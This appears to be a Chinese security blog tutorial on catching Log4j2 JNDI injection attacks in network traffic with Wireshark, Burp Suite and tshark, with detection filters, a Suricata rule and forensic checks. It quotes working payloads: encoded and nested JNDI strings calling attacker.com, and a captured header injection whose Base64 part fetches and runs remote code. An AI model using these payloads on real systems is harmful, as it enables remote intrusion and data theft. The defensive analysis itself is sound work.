别再只盯着${jndi:ldap}了!手把手教你用Wireshark和Burp Suite抓取Log4j2攻击的真实流量
实战流量分析从Wireshark到Burp Suite捕捉Log4j2攻击痕迹当安全监控系统突然告警屏幕上跳动着疑似Log4j2漏洞利用的红色提示作为安全工程师的你该如何快速锁定攻击源头本文将带你深入网络流量分析的实战前线用Wireshark和Burp Suite这两把手术刀解剖Log4j2攻击的完整证据链。1. 攻击流量特征速查手册在开始抓包前我们需要建立攻击特征的通缉令。不同于基础教程中简单的${jndi:ldap}示例实战中遇到的攻击往往经过精心伪装常见注入点HTTP头部的User-Agent、Referer、X-Forwarded-For等字段URL参数中的搜索关键词、表单字段Cookie值和POST请求体中的JSON/XML数据变种Payload识别表类型示例Base64编码JHtqbmRpOmxkYXA6Ly9hdHRhY2tlci5jb20vRXhwbG9pdH0十六进制转义\x24\x7b\x6a\x6e\x64\x69\x3a\x6c\x64\x61\x70\x3a\x2f\x2f...嵌套环境变量${jndi:ldap://${env:USER}.attacker.com}DNS日志泄露${jndi:dns://${hostName}.attacker.com/log}注意攻击者常会混用大小写如${Jndi:RmI...}来绕过简单正则检测2. Wireshark狩猎实战打开Wireshark时面对汹涌的数据包洪流这几个过滤技巧能帮你快速定位可疑流量# 捕获所有包含jndi关键字的HTTP流量不区分大小写 http contains jndi or tcp contains jndi # 检测LDAP/RMI外连行为常见于漏洞利用第二阶段 tcp.port 389 or tcp.port 636 or tcp.port 1099 # 查找DNS查询中的可疑域名 dns.qry.name contains ${ or dns.qry.name contains jndi分析案例某次应急响应中我们发现异常流量隐藏在普通的API请求中GET /api/v1/user/profile HTTP/1.1 Host: victim.com X-API-Version: ${jndi:ldap://45.xx.xx.xx:1389/Basic/Command/Base64/KGN1cmwgLXMgNDUueHgueHgueHg6OTk5L2NtZCB8fCB3Z2V0IC1xIC1PLSA0NS54eC54eC54eDo5OTk5L2NtZCk}通过Wireshark的Follow TCP Stream功能可以完整还原攻击链初始注入点位于X-API-Version头受害服务器向45.xx.xx.xx:1389发起LDAP连接攻击者返回恶意Java类加载指令服务器执行Base64解码后的反弹Shell命令3. Burp Suite历史记录挖掘当你有机会拿到应用服务器的Burp Suite流量记录时这些技巧能提高分析效率搜索策略# 在Proxy - HTTP history中使用以下搜索条件 ^\$\{jndi: # 标准JNDI模式 \$\{[^}]:.*:// # 捕获各种协议变种 (?i)\$\{(jndi|env|lower|upper) # 不区分大小写的关键函数重点检查位置所有带参数的GET/POST请求非标准HTTP头尤其是自定义头JSON/XML中的字符串值文件上传时的文件名和元数据实战技巧使用Burp的Match and Replace功能自动高亮可疑请求进入Proxy - Options - Match and Replace添加规则匹配\$\{.\}替换为[!!!]${...[!!!]所有包含动态表达式的请求会被立即标记4. 攻击者基础设施溯源捕获到攻击Payload只是开始真正的价值在于追踪攻击者基础设施提取C2地址从LDAP/RMI/DNS Payload中解析IP和域名使用tcpdump提取DNS查询记录tcpdump -n -i eth0 udp port 53 | grep -E jndi|ldap|rmi威胁情报关联将IP提交到VirusTotal、AlienVault等平台检查域名Whois信息和历史解析记录攻击时间线重建# 使用tshark提取关键事件时间戳 tshark -r attack.pcap -Y http contains jndi -T fields -e frame.time在最近处理的案例中我们通过关联多个Payload中的LDAP地址发现攻击者使用同一台服务器针对不同系统发起攻击最终定位到是个有组织的加密货币挖矿团伙。5. 防御者锦囊不只是打补丁除了尽快升级Log4j2版本这些实战经验值得加入你的防御体系网络层检测规则Suricata/Snort示例alert http any any - any any ( msg:Possible Log4j2 JNDI Injection; flow:to_server; content:${; distance:0; content:jndi:; within:10; content:://; within:30; metadata:service http; sid:1000001; )应用层防护建议在WAF中添加针对${的模式检测对出站流量实施LDAP/RMI端口管控建立DNS查询日志监控关注非常规域名解析取证检查清单查找服务器上异常的Java进程检查/tmp、/dev/shm等目录的陌生文件审计crontab和systemd中的新增任务扫描近期新增的ssh密钥和用户账号在一次金融行业的应急响应中我们通过结合网络流量分析和主机取证发现攻击者虽然利用Log4j2漏洞入侵但实际目标是横向移动窃取数据库凭证。这种案例提醒我们漏洞利用只是攻击链的起点。